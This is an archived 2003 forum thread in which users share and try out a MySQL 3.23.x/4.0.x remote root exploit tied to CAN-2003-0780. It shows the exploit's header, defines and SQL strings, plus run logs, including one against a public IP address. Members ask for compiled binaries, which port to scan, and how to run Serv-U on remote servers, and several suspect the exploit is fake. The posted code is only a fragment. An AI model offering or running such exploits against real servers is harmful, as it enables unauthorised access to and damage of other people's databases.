It says PoC (proof of concept) but if you ask me their shellcode is right and it should just work, and it's PoC because it's a proof of that it's working. so he kinda mixed up some term, anyhow, enjoy it!
I will
CODE
Mysql 3.23.x/4.0.x Remote Root Exploit
/* Mysql 3.23.x/4.0.x remote exploit * proof of concept * using jmp *eax * bkbll (bkbll cnhonker.net,bkbll tom.com) 2003/09/12 * compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient * DO NOT DISTRUBITED IT */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/select.h> #include <netdb.h> #include <mysql/mysql.h>
#define PAD 19*4*2 #define JMPADDR 0x42125b2b #define ROOTUSER "root" #define PORT 3306 #define MYDB "mysql" #define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT" #define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!='root' OR user='root LIMIT 1,1'" #define FLUSHSQL "\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73" #define BUF 1024
nope you can specify the root passwd that you like. Tho i found another problem the /mysql/mysql.h aint included, gonna install mysql now and see if it work .:\
clip
Sep 14 2003, 01:25 PM
emerge mysql
Buster
Sep 14 2003, 02:06 PM
i tried to compile the exploit, but there were too many errors. i installed mysql but it doesn't work.
Yosam
Sep 14 2003, 02:53 PM
where is the header file?
btw, is there a certain port that i should scan for it?
indiXPerience
Sep 14 2003, 02:58 PM
The header files are ok by me.
But the -lmysqlclient parameter is false. ... mysqlclient not found.
Where I can donload this file or folder?
But when I try to compile without -lmysqlclient comes many error strings like: undefined reference to mysql_error ... in function sqlerror .......
Mysql Port is 3306, but i think you must have a valid root pass.
Without a pass you get this:
oot@hell:/home/daafa> ./mysql -d 127.0.0.1 -p xUPiGiK @-------------------------------------------------@ # Mysql 3.23.x/4.0.x remote exploit(2003/09/12) # @ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @ --------------------------------------------------- [+] Connecting to mysql server 127.0.0.1:3306....FAILED [-] Error: Can't connect to MySQL server on '127.0.0.1' (111)
with the pass you become this message:
root@hell:/home/daafa> ./mysql -d 127.0.0.1 -p xUPiGiKi @-------------------------------------------------@ # Mysql 3.23.x/4.0.x remote exploit(2003/09/12) # @ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @ --------------------------------------------------- [+] Connecting to mysql server 127.0.0.1:3306....ok [+] ALTER user column...ok [+] Select a valid user...ok [+] Found a user:admin [+] Password length:480 [+] Modified password...ok [+] Finding client socket......ok [+] socketfd:3 [+] Overflow server....ok [+] sending OOB.......error: Connection reset by peer
so i become no shell or somthing other, but now the mysql ist broken. I must reinstall the mysql server.
Greets Gandulf
Yosam
Sep 14 2003, 03:10 PM
prehaps you can upload your compiled *.exe file please?
thanks.
clip
Sep 14 2003, 03:10 PM
Yup, you need a valid account so it's quite useless.
QUOTE
CVE Ids : CAN-2003-0780
MySQL, a popular relational database system, contains a buffer overflow condition which could be exploited by a user who has permission to execute "ALTER TABLE" commands on the tables in the "mysql" database. If successfully exploited, this vulnerability could allow the attacker to execute arbitrary code with the privileges of the mysqld process (by default, user "mysql"). Since the "mysql" database is used for MySQL's internal record keeping, by default the mysql administrator "root" is the only user with permission to alter its tables.
linux:/home/Buster # ./msql -d 195.224.17.200 -p "" -t 1 @-------------------------------------------------@ # Mysql 3.23.x/4.0.x remote exploit(2003/09/12) # @ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @ --------------------------------------------------- [+] Connecting to mysql server 195.224.17.200:3306....ok [+] ALTER user column...ok [+] Select a valid user...ok [+] Found a user: [+] Password length:480 [+] Modified password...ok [+] Finding client socket......ok [+] socketfd:3 [+] Overflow server....ok [+] sending OOB.......ok [+] Waiting a shell.....linux:/home/Buster
I think this is a fake. The server crashed and i got my shell (i hadn't exploitet my server).
indiXPerience
Sep 14 2003, 05:26 PM
I tried the exploit, but I didn't become a shell or something else.
Buster
Sep 14 2003, 05:43 PM
hey german boy! become = werden get = bekommen! learn english!
fredje
Sep 16 2003, 10:26 PM
yep also tried it here waits long time bot no shell
CODE
root@*# ./mysql -d **** -p "" -t 1 @-------------------------------------------------@ # Mysql 3.23.x/4.0.x remote exploit(2003/09/12) # @ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @ --------------------------------------------------- [+] Connecting to mysql server *****:3306....ok [+] ALTER user column...ok [+] Select a valid user...ok [+] Found a user: [+] Password length:480 [+] Modified password...ok [+] Finding client socket......ok [+] socketfd:3 [+] Overflow server....ok [+] sending OOB.......ok [+] Waiting a shell.....
after few mins i get my shell back
blixz
Dec 28 2003, 07:14 PM
Works this Exploit correctly with someone?
HanSolo23
Jan 3 2004, 09:25 AM
it seems to be the same xploit like the windows mysql auto exe i think its just another fake ;(
han
B1G
Mar 3 2004, 10:12 PM
i'm very interested in this exploit, can someone explain how it works and how run serv-u on the remote server?
darkpgn
Mar 3 2004, 11:48 PM
if you have read everything that other people have said, they think its a fake. i cant say anythign on the matter seeing as i havnt compilied it and tried. but i do know that other people hvant got it working correctly therefor its not real now...and if it did work, you could run your servu like you do on any other server.
technoboy
Mar 4 2004, 02:56 AM
*** FAKE ***
QUOTE
i'm very interested in this exploit, can someone explain how it works and how run serv-u on the remote server?
do everyone here are in 'stromaking' or what ?
Killaloop
Mar 4 2004, 09:47 AM
this is a poc exploit so noone of you can say its fake or not since you havent written it. Well this is for mysql unix version as I see on the shellcode, so why are people messing around trying to compile it on windows? when you get a shell what then...guess you dont even know any cmd to enter ... and servu? ony *nix? have fun. As you see guys only one jumpadr is used in this poc which means it will most likely work on only ONE os. Since there isn't enough info in the sourcecode you can't tell which os it is. Good luck
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.